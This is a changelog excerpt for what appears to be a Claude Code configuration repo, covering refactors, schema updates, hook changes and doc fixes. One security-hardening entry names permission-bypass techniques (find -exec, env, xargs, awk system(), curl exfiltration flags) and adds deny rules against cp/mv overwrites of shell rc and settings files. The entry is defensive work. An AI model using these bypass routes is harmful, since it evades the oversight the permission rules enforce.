  • src/lib/json-io.ts (new) — extracted the generic JSON + atomic-file I/O (atomicWriteString, atomicWriteJson, readJsonOrNull) plus the parse-error class out of src/lib/mcp.ts, which had stranded these in a domain module that setup.ts, settings-merge.ts, status.ts, and scripts/track-tldr.ts all imported purely for I/O. mcp.ts is now MCP-only. The error class is renamed McpParseError → JsonParseError to match its new home (setup.ts + tests/phase3-libs.test.ts updated). No re-export shim left behind.
  • src/lib/hooks-fingerprint.ts — writeFingerprint now calls the canonical atomicWriteJson instead of hand-rolling its own tmp-file + rename (byte-identical output).
  • src/lib/project-awareness.ts, src/lib/status.ts, src/scripts/checkpoint.ts, src/scripts/stop-summary.ts — replaced private run/runCapture spawn-stdout copies and inline git spawns with the canonical runGit from src/lib/git.ts. Behavior-preserving: these git commands emit no stdout on failure, so runGit's trimmed-stdout result matches the old exit-code-gated "".
  • Name collisions resolved — audit-hooks.ts's exported classify/Severity → classifyHookCommand/HookSeverity; lint-skills.ts's Severity → SkillSeverity; claude-audit.ts's private classify → classifyBashCommand. No two modules export the same identifier with different semantics anymore (tests/audit-hooks.test.ts updated).
  • src/lib/hook-config.ts — converted readFileSync → async readFile through getHookConfig/getClaudeMdMonitor, removing the lone sync I/O in the otherwise-async SessionStart hook layer (session-start.ts now awaits). The env-var fast path still short-circuits before any file read.
  • src/lib/settings-merge.ts — documented a removal policy for the append-only DEPRECATED_COMMAND_PATTERNS list (drop a pattern ~6 minor releases after its target script was removed) so it doesn't grow unbounded.
  • Dependencies — bumped to latest and normalized to exact pins (dropped the two stray carets): zod 4.3.6→4.4.3, @biomejs/biome 2.4.12→2.4.16 (plus the biome.json $schema URL), @types/bun 1.3.12→1.3.14, yaml →2.9.0, @inquirer/confirm →6.1.0. All within the same major; generated schemas unchanged; 399 tests still pass.
  • MANUAL.md — corrected the Effort Level section (listed low/medium/high (default); the real pinned default is xhigh, the ladder also has max, plus the session-only ultracode mode) and added a "Model on AWS / Bedrock / Vertex / Foundry" note to pin ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-8 — surfacing a footgun previously documented only in the changelog (opus silently resolves to 4.7 on AWS, 4.6 on Bedrock/Vertex/Foundry).

Removed

  • isStack() (src/lib/stack.ts) — dead export, zero references repo-wide.
  • runGitFull (src/lib/git.ts) — the thin runProcessFull("git", …) wrapper is gone; its 8 callers in checkpoint.ts and upstream/scan.ts now call runProcessFull("git", …) directly. (Initially kept as a runGit/runGitFull pair; removed by maintainer decision — one fewer indirection, at the cost of more verbose call sites.)
  • Exports narrowed — FRONTMATTER_RE, FrontmatterParseError, FrontmatterParseResult (frontmatter.ts) and isInteractive (prompts.ts) are no longer exported; each was used only within its own module. (Also initially left exported, then narrowed by maintainer decision.)

Notes

  • tests/phase2-scripts.test.ts (prune-mcp-auth-cache) now writes its fixture under os.tmpdir() with an afterAll cleanup, instead of leaving an untracked .tmp-mcp-auth-cache-test/ at the repo root.

[11.11.0] — 2026-05-29

Three ideas ported from Shopify Engineering's "Under the River" (May 2026), scoped to what actually maps onto a config repo (its monorepo/Nix/Postgres-session infrastructure does not). The post's load-bearing claim — private agent sessions plateau; public corpora compound — surfaced a real gap: share-learning was retired in [11.3.0], leaving the shared knowledge board with no invocation UI and nothing to prompt its use, so every learning died in one developer's private auto-memory.

Added

  • skills/share-learning/ (revived, improved) — restores the /share-learning <type> "<text>" UI for the shared GitHub Project knowledge board. Unlike the [11.3.0]-retired wrapper, it now dedups against the board (gh project item-list → semantic near-duplicate check → confirm with the user) before gh project item-create, so the value is agent judgment, not a thin CLI shim. Skill count 27 → 28 (under the 40 soft-cap).
  • src/hooks/promote-memory.ts (new PostToolUse hook) — when a project- or feedback-type auto-memory is written, emits one gentle additionalContext nudge suggesting /share-learning if the learning is team-relevant. Deduped per memory file (seen-set under ~/.claude/.cache/); silent for user/reference types and non-memory writes. Makes promotion proactive instead of relying on the developer to remember the board exists.
  • src/schemas/profile.ts (ProfileFrontmatter) — profiles gain a validated frontmatter convention (name, description, advisory model / skills / tools / permissionMode / effort), reusing the agent schema's AgentModel / AgentEffort / AgentPermissionMode to prevent drift. Advisory only — validated for well-formedness and read as a manifest of intent, not runtime-enforced (whether Claude Code consumes profile frontmatter at runtime is intentionally not relied upon). Emits schemas/profile.schema.json.
  • tests/profile-schema.test.ts — ProfileFrontmatter accept/reject cases plus a check that all six shipped profiles validate. Full suite 399 pass.

Changed

  • AGENTS.md — added a third ## Philosophy principle: the work to make a codebase legible to an agent is the debt you owe your human engineers; every skill/rule/intent-doc entry pays it down for both audiences at once.
  • profiles/*.md (all 6) — added the new frontmatter block. The five tech profiles (nextjs, react-native, tauri, webgl, react-router) previously had none; maestro gained advisory model/skills/effort.
  • config/40-hooks.json — registered promote-memory.ts under PostToolUse (Write|Edit, sync, 3s timeout).
  • src/lib/managed-skills.ts — moved share-learning from the upgrade-cleanup tombstones back into the active list.
  • src/lib/frontmatter-validate.ts — validateFrontmatters now also walks profiles/*.md (new kind: "profile", mirroring validateAgents); install warning wording → "agents/skills/profiles".
  • docs/profiles.md / docs/frontmatter-reference.md — document the profile frontmatter convention and its advisory caveat.
  • Skill-count references — CLAUDE.md, CLAUDE-FULL.md, MANUAL.md, skills/README.md updated 27 → 28 and de-listed share-learning from "retired".

Notes

  • The shared-board mechanism (docs/knowledge-system.md, env KNOWLEDGE_PROJECT_NUMBER) was unchanged; this batch only restores its UI and makes promotion proactive.
  • Pre-existing lint/style/useTemplate info on src/scripts/gen-permissions-doc.ts:65 is unrelated to this batch and was left untouched.

[11.10.0] — 2026-05-28

Tracks Anthropic's Opus 4.8 release and surfaces Claude Code's new dynamic workflows / ultracode mode without coupling the orchestration layer to the (still preview-stage) Workflow tool API.

Changed

  • .claude-plugin/plugin.json — keyword opus-4.7 → opus-4.8; requires.claude_code bumped >=2.1.116 → >=2.1.154 (minimum version for Opus 4.8 + dynamic workflows).
  • CLAUDE-FULL.md — "Opus 4.7 note" → "Opus 4.8 note"; rewrote the effort calibration paragraph: default effort on 4.8 is high (was xhigh on 4.7); cc-settings still pins xhigh via CLAUDE_CODE_EFFORT_LEVEL, but the xhigh ladder allocates more thinking tokens per turn on 4.8, so the compact-at-65% rationale was updated accordingly. Added ultracode to the effort ladder as a session-only mode that combines xhigh reasoning with automatic workflow orchestration.
  • AGENTS.md — response-calibration + literal-prompt notes updated 4.7 → 4.8.
  • docs/settings-reference.md — model table now shows Opus 4.8 / Sonnet 4.6 with a provider-resolution callout for AWS / Bedrock / Vertex / Foundry; Bedrock ARN example updated to claude-opus-4-8 / claude-sonnet-4-6; legacy CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE flagged "two generations stale"; added a note clarifying that ultracode is session-only and not a valid value for CLAUDE_CODE_EFFORT_LEVEL / effortLevel / --effort.
  • skills/orchestrate/SKILL.md — added "Alternative: dynamic workflows" callout pointing users at /effort ultracode and the workflow keyword for tasks matching the large-codebase-analysis / wide-blast-radius-migration shapes, while keeping maestro Agent() fan-out as the default.
  • skills/nuclear-review/SKILL.md — added a tip in "When to use" pointing reviewers at /effort ultracode for whole-codebase audits; the workflow runtime holds phase state outside Claude's context window, freeing room for actual review findings.
  • skills/handoff/SKILL.md — statusline example + degradation-threshold table updated to Opus 4.8 / Sonnet 4.6.
  • MANUAL.md / USAGE.md — statusline screenshots updated.
  • rules/git.md — co-author DON'T example updated.
  • tests/safety-net.test.ts — co-author block-list test string updated (the rule still blocks any "Claude" co-author; the assertion string was 4.7-specific).
  • src/hooks/parallelmax-nudge.ts / src/hooks/statusline.ts — copy / example-string comment updated.

Notes

  • No structural changes to maestro, planner, implementer, or orchestrate. The Workflow tool's API is research preview; coupling the cc-settings orchestration layer to it now would constrain us when it stabilizes. The default delegation path stays Agent() fan-out.
  • Provider note: On the Anthropic API and claude.ai Max, the opus alias resolves to Opus 4.8 with no further config. On Claude Platform on AWS, opus still resolves to 4.7; on Bedrock / Vertex / Foundry it resolves to 4.6 — pin claude-opus-4-8 via ANTHROPIC_DEFAULT_OPUS_MODEL on those providers.

[11.9.1] — 2026-05-27

Delegation tuning in response to studio feedback that implementer spawned too eagerly and that worktree isolation hid its changes from pre-commit review. The write-agents now run in the live working tree and leave an uncommitted diff for review instead of working in an isolated origin/main checkout.

Changed

  • agents/{implementer,scaffolder,tester,deslopper}.md — removed the isolation: worktree default. These agents now run in the caller's live working tree, so edits land as a reviewable diff rather than commits on a hidden worktree branch. Each also blocks Bash(git commit:*) (tester already did) so work is left uncommitted for the caller to review before it lands. reviewer / security-reviewer keep worktree isolation — they produce reports, not diffs.
  • agents/implementer.md — reframed the Briefing Gate and REQUIRED BRIEFING rationale off the worktree premise. The briefing contract still holds (a subagent receives only its prompt, with no conversation context), but the justification is context isolation, not a fresh checkout. The "commit logical chunks" workflow step and "report your commit SHA" verification line became "leave an uncommitted diff."
  • CLAUDE-FULL.md — raised the implementer delegation threshold from "2+ files" to "3+ files, or 10+ tool calls"; widened "act directly" to cover 1–2 file / sub-10-tool-call edits; replaced the "Don't self-override" enforcement rule (which pushed the model to spawn even for small work) with "Match the tool to the size"; reframed the briefing-contract callout off worktree.
  • docs/feature-agents-guide.md — updated the "base ref overwrites in-session edits" gotcha: the write-agents no longer default to worktree, so the footgun only applies when worktree isolation is explicitly opted into.

Notes

  • Behavior change: orchestrations that relied on implementer (or the other write-agents) committing their own chunks now receive an uncommitted diff; the dispatching session is responsible for committing after review.

[11.9.0] — 2026-05-26

Whole-codebase maintainability pass from a /nuclear-review audit. Behavior-preserving across the board — full test suite (380) and typecheck stay green. No file exceeded 1000 lines and all six direct dependencies are within one minor of current with idiomatic usage (native z.toJSONSchema, no redundant deps), so this batch is structural cleanup only.

Changed

  • src/hooks/safety-net.ts — the four full-string rules (AI attribution, find/xargs, shell + interpreter unwrap) ran once on the whole command and again per split segment, doubling work on every single-segment command. Reframed into two tiers: analyzeFullString (rules that need the un-split command) runs once; analyzeSegment runs only rm/git, which must see each ;/&&/|| segment so a safe leading subcommand can't mask a destructive trailing one. analyzeCommand remains the depth-bounded recursion target.
  • src/lib/git.ts — extracted runProcessFull(bin, args); runGitFull delegates to it and src/upstream/scan.ts's byte-identical local runGh is gone. runGit gains an optional { cwd } so src/hooks/statusline.ts drops its copied spawn body (its local adapter now only binds --no-optional-locks + cwd).
  • src/lib/platform.ts — added ymd() (YYYY-MM-DD); removed three private copies in log-bash.ts, claude-audit.ts, and session-start.ts.
  • src/setup.ts — parallelized independent install I/O (createDirectories, the disjoint removals in cleanOldConfig, the lockfile copies, the two disjoint-tree install phases, and summary counts). Clean-then-install ordering preserved.
  • src/scripts/handoff.ts — single-flag arg loop collapsed to a findIndex; the two latest.* symlink updates now run concurrently.
  • src/hooks/pre-edit-validate.ts — reads file_path + old_string from the single TOOL_INPUT JSON blob, dropping the redundant per-field-env source asymmetry.
  • src/lib/colors.ts — showBanner version param is now required (stale "8.0" default removed).

Fixed

  • src/lib/audit-hooks.ts — totalHooks now counts audited command hooks (the value the CLI prints as "hook command(s) total") instead of findings.length, which over-counted by the schema pseudo-finding whenever schema validation failed. looksOpaque uses reduce instead of Math.max(...spread) to avoid a call-stack blowout on pathological settings.json input.

Notes

  • The audit flagged the discarded safeParse result in mergeSettingsWithMcpPreservation (settings-merge.ts). Investigated and intentionally left as-is: the root Settings schema is passthrough but nested objects (StatusLine, Attribution, …) strip unknown keys, so merging validated .data would silently drop forward-compat fields. The raw-based merge is correct; the validation is a deliberate diagnostic.

[11.8.3] — 2026-05-26

Audit-driven documentation fixes and a permission-listing generator that keeps the allow/deny rules exhaustive and self-syncing.

Fixed

  • CLAUDE.md dep name: @inquirer/prompts → @inquirer/confirm (matches package.json).
  • README.md skill count: 26 → 27; agent count: 10 → 9; profiles listing: added react-router in two places.
  • MANUAL.md stack-aware skills list: removed retired /lenis; removed oracle from the All Agents table (it is a skill, not an agent); hooks section header changed from "Hooks (Automatic — 29 Events)" to "Hooks (Automatic)" with a one-line lead pointing to docs/hooks-reference.md.
  • docs/settings-reference.md context7 tool name: mcp__context7__get-library-docs → mcp__context7__query-docs; modelOverrides ARN version suffixes: 4-6 → 4-7.
  • docs/hooks-reference.md SessionStart table: added missing verify-hooks.ts row (fingerprint validation, sync, runs before session-start.ts).
  • hooks/README.md hooks table: added missing TaskCompleted row (swarm-log.ts complete, async).
  • mcp-configs/README.md key name: all three occurrences of disabledMcpServers → disabledMcpjsonServers (the correct key; the old name silently no-ops).
  • docs/frontmatter-reference.md All Agents table: explore, implementer, tester, scaffolder, deslopper corrected to sonnet (were incorrectly listed as opus); oracle row removed (no agents/oracle.md); "Agents with memory enabled" note updated to remove oracle.

Added

  • src/scripts/gen-permissions-doc.ts — exports buildPermissionsBlock(repoRoot) and marker constants BEGIN/END; CLI (bun run docs:permissions) injects the generated allow/deny listing into the <!-- BEGIN/END AUTOGEN:permissions --> markers in docs/settings-reference.md.
  • docs/settings-reference.md — "Complete current rule list" subsection with <!-- BEGIN/END AUTOGEN:permissions --> markers, populated by the generator.
  • tests/docs-permissions.test.ts — freshness test: asserts the committed block equals buildPermissionsBlock() output; a hand-edit or permissions change without regen fails bun test.
  • package.json script docs:permissions.

[11.8.2] — 2026-05-26

Documentation reconciliation — bring docs in line with the v11.5.0–v11.8.1 releases. (The obvious churn — parallelmax-judge, worktree-hook scripts, the strict→passthrough prose, version/skill counts — was already kept current in-flight; this catches what drifted.)

Fixed

  • Hook-event count corrected to 29 in CLAUDE-FULL.md, MANUAL.md, hooks/README.md, and docs/hooks-reference.md (was a mix of stale 27 and an off-by-one 30). 29 = the manifest knownHookEvents and the official docs.
  • docs/settings-reference.md permission snapshot was a hand-maintained mirror that had drifted (it listed Bash(curl|find|env|xargs|awk|vitest):* as allowed — all removed in v11.7.0 — and even showed node -e/node -p under allow when they're denied). Replaced the enumerated allow/deny copy with a drift-resistant categorical summary that names config/30-permissions.json as authoritative (bun run compose shows the live set) and documents the v11.7.0 hardening + cp/mv worm-gap denies.

Changed

  • docs/agent-models.md now documents CLAUDE_CODE_SUBAGENT_MODEL (the session-level Agent-Teams teammate model lever, set to sonnet in v11.6.0) alongside the per-agent routing table.

[11.8.1] — 2026-05-26

Process hardening prompted by two recurring implementer failures observed while shipping v11.6.0 and v11.8.0: the agent (1) hand-wrote a generated file (schemas/settings.schema.json) instead of running the emitter — and got it wrong — and (2) reported "commands to run" instead of actually running its verification gate. Both slipped past local checks and would only have been caught by post-push CI.

Added

  • Schema-freshness test — tests/schemas.test.ts now asserts every committed schemas/*.schema.json is byte-identical to emitter output. A stale or hand-written generated schema now fails the normal bun test run, not just the post-push CI schemas job. src/schemas/emit.ts was refactored to export buildSchema() / targets / OUT and guard its disk writes behind import.meta.main, so importing it (from the test) no longer writes files.

Changed

  • agents/implementer.md guardrails — the Verification Checklist now requires the agent to (a) run verification commands itself and paste real pass/fail counts + commit SHA (a list of "commands to run" is explicitly NOT acceptance), and (b) regenerate generated files via their generator and never hand-write them (bun run schemas:check must be clean).
  • src/schemas/settings.ts — added a schema-authoring note: prefer permissive enum supersets over doc-literal values, since Claude Code persists values its docs omit (effortLevel: "max", teammateMode: "in-process") and passthrough tolerates unknown keys but not invalid values of known keys. Codifies the v11.7.1/v11.8.0 lesson.

[11.8.0] — 2026-05-26

Reconcile the Settings zod schema with the full documented Claude Code settings surface and relax .strict() → .passthrough(). Claude Code writes undocumented keys (theme, agentPushNotifEnabled, enabledPlugins) to settings.json, so .strict() could never validate a real live file — installs worked only because setup.ts uses safeParse with a raw fallback. This release fixes the schema to reflect reality: passthrough tolerance for undocumented keys, typed coverage expanded from ~39 → 96 keys (the documented surface is ~104; the remainder are tolerated via passthrough), and a new fragment typo-guard test that replaces the old strict check for our own config/*.json fragments. TeammateMode gains the doc-canonical in-process and tmux variants. Schema re-emitted so schemas/settings.schema.json matches (additionalProperties flips false → {}).

Changed

  • src/schemas/settings.ts: root .strict() → .passthrough() with explanatory comment
  • src/schemas/settings.ts: TeammateMode enum extended to auto | in-process | tmux | manual | disabled
  • upstream/claude-code-manifest.json: knownSettingsKeys updated to mirror full Settings.shape (39 → 96 keys)
  • schemas/settings.schema.json: re-emitted; additionalProperties is now {} (passthrough)
  • tests/schemas.test.ts: "rejects unknown top-level keys (strict)" → "accepts unknown top-level keys (forward-compat passthrough)"
  • tests/setup.test.ts: "unknown top-level key → success:false" → "success:true"; safeParse failure test switched to type-error input

Added

  • src/schemas/settings.ts: ~65 new optional fields covering GENERAL, ENTERPRISE/MANAGED, AUTH/PROVIDER, and UX key groups (see schema comments for per-field descriptions)
  • tests/schemas.test.ts: "composed fragments contain only known keys" — typo-guard replacing the old strict check
  • tests/schemas.test.ts: positive test asserting tui:"fullscreen", editorMode:"vim", autoUpdatesChannel:"latest", teammateMode:"in-process" → success:true
  • tests/schemas.test.ts: negative test asserting tui:"bogus" → success:false (enum still validates known keys)
  • docs/settings-reference.md: "## Complete settings.json key reference" table (all ~104 keys with type, class, description)

Fixed

  • Settings.safeParse on a real live ~/.claude/settings.json now returns success:true instead of failing on undocumented keys written by Claude Code
  • effortLevel enum widened to include "max" — real live configs persist effortLevel: "max" (the env var's full range), which the key's docs omit. Passthrough tolerates unknown keys but not invalid values of known keys, so without this the live file still failed validation on this one field. Verified: the actual live ~/.claude/settings.json now validates end-to-end.

Files changed

  • src/schemas/settings.ts, schemas/settings.schema.json
  • upstream/claude-code-manifest.json
  • schemas/settings.schema.json
  • tests/schemas.test.ts
  • tests/setup.test.ts
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.7.1] — 2026-05-26

Schema gap-fill: two settings keys Claude Code writes to settings.json were missing from our Settings schema, so the .strict() parse rejected real configs (the safeParse forward-compat fallback in setup.ts kept installs working, but the schema was wrong). Surfaced when the live ~/.claude/settings.json failed a strict parse with five unrecognized keys; each was verified against the official settings docs before adding — three were not documented and deliberately left out.

Adopted

  • effortLevel (string: low | medium | high | xhigh) — persists the effort level across sessions; the settings.json counterpart of the CLAUDE_CODE_EFFORT_LEVEL env var. Note the key's docs omit max, which only the env var accepts. Added to src/schemas/settings.ts, knownSettingsKeys, and docs/settings-reference.md.
  • skipDangerousModePermissionPrompt (boolean) — skips the confirmation before entering bypass-permissions mode; ignored in project settings so untrusted repos can't auto-bypass. Same three files.

Verified but NOT added

  • theme, agentPushNotifEnabled, enabledPlugins — present in the live settings.json (written by the app) but absent from the official settings reference, so not added to the strict schema. (enabledPlugins was rejected as undocumented in the v11.5.0 article audit too — that call stands.) The safeParse fallback continues to tolerate them at install time.

Larger finding (not addressed here): the official settings reference now documents ~90 top-level keys; our schema tracks ~39. The .strict() schema is therefore narrower than reality for many real (mostly enterprise/managed/UX) keys — installs are unaffected thanks to the safeParse fallback, but a fuller schema/manifest reconciliation is worth a dedicated pass.

[11.7.0] — 2026-05-26

Security hardening of the permission allowlist (config/30-permissions.json) — the manual equivalent of a /less-permission-prompts consolidation pass, done as a security-reviewer audit.

Removed from allow

  • Five arbitrary-execution backdoors — Bash(curl:*), Bash(find:*), Bash(env:*), Bash(xargs:*), Bash(awk:*). Each let an adversarially-constructed command bypass every other restriction in the file (find -exec, env VAR=x cmd, xargs cmd, awk 'system()', and curl's write/exfil flags), and the deny list — a string/glob blocklist — could not reliably close those gaps. Removing them means those commands now prompt instead of running silently; Glob/Grep/LS/jq/printenv cover the legitimate uses.
  • Bash(vitest:*) — dead entry; the repo runs bun test, vitest isn't installed. (Bash(lighthouse:*) was intentionally kept — the lighthouse skill shells out to it.)

Added to deny (defense-in-depth)

  • cp/mv worm-gap — Bash(cp|mv * → ~/.claude/settings.json | ~/.claude.json | ~/.zshrc | ~/.bashrc | ~/.bash_profile). The Write tool is denied on these paths, but shell cp/mv (still allowed) bypassed that — the exact Shai-Hulud persistence vector SECURITY.md targets.
  • curl flag hardening — -o/-O (write-to-disk), -H/--header/--cookie (header/cookie exfil), -X DELETE/-X PATCH (mutating methods), mirroring the existing POST/PUT denies.
  • gh api --method DELETE (complements the existing -X DELETE deny), find * -exec, and git push --force-with-lease (the force-push denies missed the lease variant).

Note on caveats: allow removals are deterministic (unmatched → prompt). Deny additions match by string/glob, so mid-command flag patterns are best-effort defense-in-depth — they never reduce safety, but shouldn't be relied on as the sole guard. The removals are the robust fix.

Live reconcile: the installer's merger preserves user-only allow rules, so re-running setup.sh will NOT drop the five backdoors from an existing ~/.claude/settings.json — they must be removed from the live file directly (the new denies do propagate via merge). Fresh installs get the hardened set automatically.

[11.6.1] — 2026-05-26

Hotfix: revert the WorktreeCreate / WorktreeRemove hooks shipped in v11.6.0. They broke worktree creation. In Claude Code's harness, WorktreeCreate is a provisioning hook — it is expected to create the worktree and return its path (echo the path to stdout / hookSpecificOutput.worktreePath). The v11.6.0 scripts were logging-only and returned nothing, so worktree creation failed with "hook succeeded but returned no worktree path," which broke agent spawning and any EnterWorktree flow. A passive, observability-only WorktreeCreate hook is not viable in this harness.

Removed

  • WorktreeCreate / WorktreeRemove hook wiring in config/40-hooks.json and the scripts src/scripts/worktree-create.ts / worktree-remove.ts. Both command patterns were added to DEPRECATED_COMMAND_PATTERNS (src/lib/settings-merge.ts) so the merger prunes any lingering reference from an upgrader's live settings.json. Docs reverted in docs/hooks-reference.md (the generic event-table rows describing the upstream events remain; only the "we wire these scripts" claims were removed). The worktree tests in tests/phase2-scripts.test.ts were removed.

Everything else from v11.6.0 stands: CLAUDE_CODE_SUBAGENT_MODEL, the TaskCompleted hook, the three new tracked hook events, the three new env vars, the duration_ms docs, and the sandbox schema fields are unaffected.

[11.6.0] — 2026-05-26

Gap-fill bundle adopting verified Claude Code capabilities (v2.1.117–v2.1.147) and closing manifest/schema/doc drift: subagent model routing, TaskCompleted + WorktreeCreate/Remove hooks, three new tracked hook events, three new env vars, duration_ms docs, sandbox schema fields.

Adopted

  • CLAUDE_CODE_SUBAGENT_MODEL env var (upstream v2.1.147) — routes Agent Teams teammate subprocess sessions to Sonnet while the main session keeps its pinned Opus model. Set to "sonnet" in config/10-core.json; documented in docs/settings-reference.md and added to upstream/claude-code-manifest.json knownEnvVars.
  • TaskCompleted hook (upstream) — wired in config/40-hooks.json to swarm-log.ts complete, logging task completion to ~/.claude/swarm.log. Mirrors the existing TaskCreated handler. swarm-log.ts updated with the new complete arg.
  • WorktreeCreate / WorktreeRemove hooks (upstream) — new async, fail-open scripts (src/scripts/worktree-create.ts, src/scripts/worktree-remove.ts) log worktree lifecycle events to ~/.claude/logs/worktree.log. Pure observability; always exit 0, emit no output that could alter worktree behavior. Wired in config/40-hooks.json.
  • Setup, UserPromptExpansion, PostToolBatch hook events — three events documented upstream but absent from our schema. Added to HookEvent enum in src/schemas/hooks.ts and to knownHookEvents in upstream/claude-code-manifest.json (alphabetical order).
  • CLAUDE_CODE_SHELL_PREFIX (v2.1.128), CLAUDE_CODE_SUBAGENT_MODEL (v2.1.147), OTEL_LOG_TOOL_DETAILS (v2.1.117) — three env vars tracked upstream but missing from our manifest. Added to knownEnvVars (alphabetical) and documented in docs/settings-reference.md.

Fixed

  • duration_ms in PostToolUse / PostToolUseFailure docs — upstream added duration_ms (tool execution time, excluding permission prompts and PreToolUse) to both hook payloads in v2.1.119. Documented in the event-specific-variables table in docs/hooks-reference.md.
  • Sandbox schema fields — src/schemas/settings.ts Sandbox schema was missing enableWeakerNetworkIsolation (macOS weaker network isolation for MITM proxy verification) and filesystem.allowWrite (list of paths re-allowed inside denyWrite regions). Both were referenced in docs/settings-reference.md but rejected by the schema. Added with inline comments.
  • CLAUDE_CODE_ENABLE_AWAY_SUMMARY docs — already in knownEnvVars but undocumented. Added row to the env table in docs/settings-reference.md (v2.1.110; on by default; set =0 to opt out).
  • setup-args test robustness — parseArgs > defaults asserted sourceDir matched /cc-settings$/, which failed whenever the suite ran inside a git worktree (path ends in agent-<hash>, not cc-settings). Loosened to a toContain("cc-settings") substring check that holds in both a normal checkout and a worktree.

Files changed

  • config/10-core.json
  • config/40-hooks.json
  • docs/hooks-reference.md
  • docs/settings-reference.md
  • src/schemas/hooks.ts
  • src/schemas/settings.ts, schemas/settings.schema.json
  • src/scripts/swarm-log.ts
  • src/scripts/worktree-create.ts (new)
  • src/scripts/worktree-remove.ts (new)
  • src/setup.ts
  • upstream/claude-code-manifest.json
  • tests/schemas.test.ts
  • tests/phase2-scripts.test.ts
  • tests/setup-args.test.ts
  • CHANGELOG.md

[11.5.1] — 2026-05-26

Bug fix: remove the parallelmax-judge.ts Stop hook. It spawned a nested claude -p --model haiku session on every turn that tripped the parallelmax counter (≥ 5 non-Agent tool calls). That nested session ran the full SessionStart hook chain — so its PROJECT CONTEXT banner and the judge's own <conversation-excerpt> … DELEGATE/OK prompt leaked onto the user's terminal, looking like "every new terminal starts with this." It was also the only place in the codebase that spawned a nested claude, and cost a full extra Claude session per tripped Stop with only debounce-bounded recursion protection.

Removed

  • src/hooks/parallelmax-judge.ts and its Stop wiring in config/40-hooks.json (the Stop event now runs only stop-summary.ts). Delegation enforcement is unchanged in intent: the deterministic, zero-cost parallelmax-nudge.ts (PostToolUse, N=8) and delegation-detector.ts remain. Docs updated in docs/hooks-reference.md, docs/settings-reference.md, MANUAL.md, and hooks/README.md.

Fixed

  • Installer prunes the stale judge reference automatically. Added parallelmax-judge.ts to DEPRECATED_COMMAND_PATTERNS in src/lib/settings-merge.ts, so upgraders whose live settings.json still carries the old Stop group (stop-summary + judge) get the judge pruned on the next install rather than firing a dangling reference forever.
  • No duplicate stop-summary after a partial prune. The hook merger previously re-added a partially-pruned user group as a "user extra" even when pruning had collapsed it into a group the team already provides — leaving two stop-summary entries. hooksStrategy now drops a pruned group that matches a team-provided group. Covered by new cases in tests/settings-merge.test.ts.

Re-run setup.sh after upgrading so the installer drops the stale ~/.claude/src/hooks/parallelmax-judge.ts, prunes the dangling Stop reference, and refreshes the verify-hooks fingerprint for the new Stop block.

[11.5.0] — 2026-05-25

Sync with Claude Code v2.1.150 plus an audit-driven gap-fill that adds three previously-missing real settings keys our schema didn't accept yet. v2.1.150 itself was internal infrastructure only.

Adopted

  • allowAllClaudeAiMcps managed setting (upstream v2.1.149) — boolean that loads the claude.ai cloud MCP connectors alongside the locally-configured managed-mcp.json. Added to src/schemas/settings.ts (sits next to allowedMcpServers / deniedMcpServers), enumerated in upstream/claude-code-manifest.json knownSettingsKeys, and documented in docs/settings-reference.md with a JSON example. Lets orgs opt into the full claude.ai MCP catalogue without enumerating each connector locally.
  • cleanupPeriodDays — real upstream key (number, default 30, min 1) controlling transcript and orphaned-worktree retention at startup. Previously missing from cc-settings schema so user configs that set it failed the .strict() parse. Schema gap-fill flagged during a settings-audit pass against the upstream docs.
  • enabledMcpjsonServers / disabledMcpjsonServers — real upstream string-array keys that allow/block specific MCP servers declared in project-level .mcp.json files. Distinct from allowedMcpServers / deniedMcpServers (URL patterns); these match by server name. Same audit-pass gap-fill — both were missing from our schema and manifest.

Deletions / Native-now-redundant

None this cycle. The remaining v2.1.149 bullets are upstream bug fixes (PowerShell cd bypass, sandbox worktree allowlist, find macOS vnode crash, status-bar effort display, several UI freezes) — no cc-settings code wrapped or asserted on the affected behavior, so nothing to remove.

Files changed

  • src/schemas/settings.ts, schemas/settings.schema.json
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.4.0] — 2026-05-22

New /nuclear-review skill ships alongside a self-applied audit pass that closes 11 findings across both audits — MANAGED_SKILLS duplication, runGit triplicate, pad() consolidation, readJsonOrNull<T> type-lie, Strategy key threading, safety-net spaghetti, zod-4 deprecations, dead code. Net: −150 LOC of duplication/cruft, +1 skill, +1 lib module, +1 lib export, +2 safety-net helpers. No behavior change in any common path; one interactive-merge UX bug ("<scalar>" placeholder) fixed.

feat: nuclear-review skill — whole-codebase audit + context7 dependency check + Phase 4 docs pass

New /nuclear-review skill — unusually strict whole-codebase maintainability audit. Structural rubric adapted from cursor/plugins/cursor-team-kit/skills/thermo-nuclear-code-quality-review (reported by Eric Zakariasson as Cursor's most-used internal skill); cc-settings extends Cursor's per-diff scope to the whole repo and adds a context7-driven dependency audit phase that checks currency, deprecated API usage, role-duplication, and maintainer-recommended usage patterns for every direct dependency, plus a Phase 4 documentation updates that keeps CHANGELOG / MANUAL / derived schemas in sync whenever audit findings turn into commits (so audit-driven refactors don't ship as anonymous history). Flags every 1k-line file, thin wrapper, leaked-logic boundary, and pushes "code-judo" moves that delete whole branches instead of rearranging them. Frontmatter declares requires: [{ mcp: context7 }] so the installer warns when the MCP server is missing. Sibling to /review (per-PR Darkroom checklist) and /zero-tech-debt (rework patch to end-state). Skill count 26 → 27 (soft cap still 40). Triggers include "nuclear review", "thermonuclear review", "code judo", "whole codebase review", "harsh maintainability review". Wired into MANUAL.md and skill-count references in CLAUDE.md / CLAUDE-FULL.md.

refactor: extract MANAGED_SKILLS to src/lib/managed-skills.ts

The 50-entry MANAGED_SKILLS array (active list + upgrade-cleanup tombstones) was duplicated verbatim across src/setup.ts and src/lib/status.ts — every new skill required edits in two places and the duplication had already drifted in prior commits. Extracted to a single src/lib/managed-skills.ts; status.ts re-exports for callers that already import from it. Net: −114 LOC removed, +70 added, drift risk eliminated. First nuclear-review code-judo finding.

refactor: nuclear-review hygiene — z.url() + pad() consolidation

Two findings from the first nuclear-review audit applied in one commit:

  1. zod v4 idioms. Two call sites still used z.string().url(), deprecated in zod 4 in favor of the top-level z.url(). Swapped src/schemas/mcp.ts:39 and src/schemas/hooks.ts:68.
  2. pad() consolidation. A one-line zero-pad helper was reimplemented in src/scripts/checkpoint.ts, src/scripts/handoff.ts, and src/scripts/log-bash.ts. Lifted from src/lib/platform.ts (previously buried as a local inside getTimestamp) to a module-level export; the three scripts now import it. Net: −9 LOC across the scripts, single canonical helper.

